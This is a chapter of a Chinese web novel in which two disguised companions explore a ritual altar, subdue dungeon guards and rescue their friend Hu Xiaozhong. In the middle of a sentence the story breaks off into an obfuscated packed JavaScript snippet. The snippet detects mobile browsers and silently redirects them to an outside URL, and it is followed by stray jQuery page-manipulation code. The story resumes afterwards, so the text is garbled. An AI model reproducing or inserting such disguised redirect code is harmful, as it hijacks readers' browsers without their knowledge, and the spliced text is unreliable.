好在衣袍宽大,不必更换,直接套在身上即可。
面具恰到好处地遮掩住脸,难露半分真容。
邬行香与李嗣瞻安顿好卓茵茵后,手持火折子而行,循着卓茵茵奔逃来的方向走去。
不慎踩到地面枯枝时,惊起几只夜鸟,翅膀扑簌飞起。
“你信吗?”
李嗣瞻的声音蓦然响起。
邬行香听出李嗣瞻对卓茵茵的怀疑。
“卓茵茵失踪的事不假,我们跟她也只有一面之缘,她没有必要骗我们吧?
而且她惊慌失措的样子不像是装出来的。
追她的两个人,我们也看到了。”
李嗣瞻说出了自己的看法。
“她说何入锦帮了她,却想隐瞒两人是旧识,说话含糊不清。
而且既然两人可以一起逃跑,为何何入锦要冒着生命危险,去救卓茵茵?
她说小忠好像知道她关在地牢。
按照她的说法,所有人应该是在城里被打晕,醒来就到地牢了。
小忠从何得知她被关的消息?
还有,寻常之人,都是黄昏点灯,睡前熄灭。
这半夜三更的,幕后之人早就睡下了。
卓茵茵却说在岔路,看到另一个方向还亮着灯火。”
邬行香回忆这几天发生的事后说道:
“我记得戏班出事时,班主说过,有一位小生和一位武生,在厢房休息,从前一晚散场就没见过人。
后来陈捕头也说了失踪的还有其他人。
或许班主说的那位武生,就是何入锦。
班主以为她人还在厢房,却不知她已经被绑走。
这样也说得通。
至于灯火,对寻常人来说是照明之物。
可若是祭祀,灯火整夜长明,可以是福泽延续,或避灾庇佑。
卓茵茵的话听起来,是有一些隐瞒。
会不会是她太过害怕,言语不清?”
眼前视野已然开阔,两人已走出树林。
李嗣瞻保留疑念。
“卓茵茵的话,未必尽实。
我们得更加谨慎。
纵使她没有撒谎,但山道难辨,她看起来也精神不佳,记错了也说不准。
边走边察,若见可疑之处,及时转道。”
耳畔传来清凉水声。
不多时,溪流横在两人面前。
溪水不急,散布青石可立足。
过溪后,不远处,是岔路。
虽然一路走来,证明了卓茵茵所言无误。
可李嗣瞻还是停下了步伐。
邬行香知他心中有疑。
“殿下,要听卓茵茵的往右走吗?
或者,我来算一算?”
李嗣瞻最终踏入了左边的岔路。
“先往前走一段看看。”
邬行香抬头,果然看到了卓茵茵口中灯火。
忽明忽暗的摇曳。
又行数步,那火光望去,青中带青蓝。
山风拂来,携着似有似无的气息。
腐湿怪异。
邬行香问道:“殿下你有没有闻到什么味道?”
李嗣瞻还未开口。
邬行香的布袋,忽地震颤起来。
她打开布袋翻动。
原来是寻龙尺在动。
寻龙尺自行逆向翻转不止,最后停下来,指向火光的方向。
邬行香见状,快步向前走去。
李嗣瞻不明所以,慢慢跟了上去。
火光之上,有阴云团集。
此处是北向。
一路的虫鸣鸟叫已消失。
前路地面,瘴气开始升腾。
两侧怪石嶙峋。
邬行香俯身去触地面。
地气忽冷忽热,寻龙尺仍在邬行香手中轻颤。
李嗣瞻前行时,也闻到了邬行香说的气息。
“好奇怪的味道。
这到底是什么鬼地方?”
邬行香起身看向火光处,恍然大悟道:
“那不是灯火,应该是丹炉在烧东西。
这里是个邪祭的绝佳之处。
或许,戏台只是次祭坛,前面才是主祭坛。”
李嗣瞻抬手挥了挥。
“就算是祭坛,大晚上在丹炉烧什么?”
邬行香猜测道:
“祭祀若烧丹炉,一般是维持祭坛灵力运转,守护阵法,或是通神引路。
但这气息闻起来,像是在烧什么阴邪之物。”
李嗣瞻看向邬行香。
“你想去那里看看?”
邬行香却犹豫起来。
“若如卓茵茵所说,右边的路是废弃坑和地牢,别无他物。
那祭坛方向,多半就是幕后之人的聚集之地了。”
李嗣瞻替她作了决定。
“那就去看看吧。
这么晚了,就算幕后之人再奇怪,也是凡人,需要睡觉。
常人于这般深夜,正是沉睡而无意识之际。
刚好方便我们去一探究竟。”
循丹炉火光牵引而行,石阶现于月辉之下。
月光照亮石阶,也照见了祭坛。
风来时,虚空起抓挠声。
走近了才知,那是符纸的翻飞声。
直到邬行香与李嗣瞻离开祭坛时,符纸风中翻卷的细碎簌簌声,还不舍般尾随了他们一程。
回到岔路口后,两人转而向右径跋涉,见到荒废已久的深坑。
四下一看,果然寻得一棵大树。
树后隐约可辨一条窄径,拨开有人那么高的草丛后,蜿蜒前行。
往下走去,转角后,阴森地牢入目。
入口的木门半掩着,没有声响。
不知里面究竟是何情况。
邬行香果断将剑递还给李嗣瞻。
她双目坚毅,小声道:“殿下,就靠你了。”
李嗣瞻并未回复,直接接过了剑。
两人走了进去。
下了地牢,越往深处走,越觉有潮湿水汽,萦绕四周。
拐过一道弯,烛火透暖光。
探头望去,见两个身着与他们身上同样衣袍的守卫。
一个正趴在桌上打盹。
另一个斜坐睡着,歪靠墙上,发出鼾声。
邬行香心想,难怪卓茵茵能逃出来。
这两个守卫,心也太大了吧?
难道是觉得祭祀已经开始,祭品也跑不掉,一切安稳,不会有变化了?
可惜,他们的变化来了。
打盹的守卫听见脚步声,迷迷糊糊抬起头,看见邬行香与李嗣瞻后,不满道:
"你们怎么这么晚才过来换班?等得我都快睡着了。"
他伸手推了推靠墙而睡的守卫。
“快醒醒,换班了,回去再睡。”
醒来的守卫,懒洋洋地打了个哈欠。
“怎么才来?你们来了,我们就回去了。”
李嗣瞻镇定地点头。
两个守卫站起来,正要往外走时,其中一人迷茫地看向李嗣瞻。
“不对啊,怎么一晚上不见,你长这么高了?”
另一人上下打量李嗣瞻,突然眯起了眼:
"等等,你不是……"
话音未落,李嗣瞻用剑鞘横扫,击在守卫的要穴。
另一个守卫还未来不及发出惊呼,被李嗣瞻一记手刀重重落在后颈。
李嗣瞻又将两个守卫搬到墙角捆好,快速从守卫腰间摸到钥匙。
他动作干净利落,除了桌上的烛火晃动了两下,几乎是不声不响解决了两个守卫。
邬行香简直想要鼓掌叫好。
李嗣瞻看她一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060392|158138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼,指着地牢深处,示意她赶紧找到虎小忠。
透过牢房栏杆,一眼可见里面的人。
可惜一间又一间,都是陌生面孔。
直到地牢最深处,出现一间石房。
看起来这是个单独关押的牢房。
门上有个可从外拉开的小窗。
李嗣瞻伸手打开了小窗。
里面的人背对着他。
不像其他牢房熟睡的人们。
此人蹲在角落,不知在忙碌什么。
好在李嗣瞻能认出这个人的背影。
他拿钥匙开了门。
刚踏入牢房,里面的人听见声音,喊着“我跟你们拼了。”转身跑了过来。
邬行香跟在李嗣瞻身后,见着昏暗牢房内,突然冲上来一个身影。
披头散发,然后在李嗣瞻摘掉面具后,直直地跪在了地上。
“卑职有眼无珠,冲撞了殿下,真是罪该万死!”
邬行香听见声音,才确认眼前人是虎小忠。
李嗣瞻感慨道:
“起来吧。
我看外面的人,都是二人一间牢房,你怎么这么特别,还有单人牢房住?”
虎小忠知道自己现在有些狼狈,起身后,慌忙整理了一下仪容,又不敢置信道:
“殿下,姐姐,真的是你们吗?
我不会是在做梦吧?”
邬行香伸手摘了面具,走近细看虎小忠。
“你看起来精神好像不错?
人也完完整整的。
真是不幸中的万幸。”
虎小忠见两人真真切切站在自己面前,跟自己说话,终于相信自己不是在梦中。
他泪眼汪汪道:“真好啊,我们终于又整整齐齐了!”
邬行香见虎小忠双眼含泪,心中也觉得酸苦。
“小忠,别难过,我们来救你了。”
李嗣瞻望向虎小忠先前蹲着的角落。
“你刚刚,在角落做什么?”
虎小忠摊开手,露出手上握住的东西。
“这是我从腰带上扣下来的腰带扣。
我在角落发现了一个老鼠洞,想要用它挖出去。”
李嗣瞻走到角落。
他见那老鼠洞,不过半个拳头大小。
“你用那么小的腰带扣,挖这么小的老鼠洞。
是准备挖到猴年马月吗?
看守的人不管你吗?”
虎小忠擦了擦眼睛。
“不到最后一刻,怎能轻言放弃?
哪怕是一线生机,我也要全力以赴!
那些看守的人说我在做无用之功。还笑我是傻子。
我不傻,他们才傻。
他们还嫌我吵!把我一个人关在这里。
每天给的饭也很少,我根本吃不饱。
我想多要点饭吃,他们就说什么少欲知足,清净敬神。”
李嗣瞻很含蓄地提醒道:
“会不会他们说的,也有些道理?”
虎小忠没有听懂李嗣瞻的意思,似是很多天没跟人畅聊,憋了一肚子话想对两人说。
“其实,我刚被关进来的时候可担心了。
我在想,这里会不会有很多武功高强的人在看守。
或者,背后是不是有什么大阴谋?
可是,后来我发现,那些看守的人,还有来牢房看我们的人,全部都神神叨叨的。
老是说一些奇怪的话。
我心想,这下稳了。
论神叨,谁能比得过姐姐啊?
若是姐姐在的话,一定能救出我!”
虎小忠这话说得饱含真情。
而且说完又泪眼婆娑望向邬行香。
但邬行香听着,却不觉得这是什么好话。
她也不知道怎么回答。
最后心想,笑一笑算了。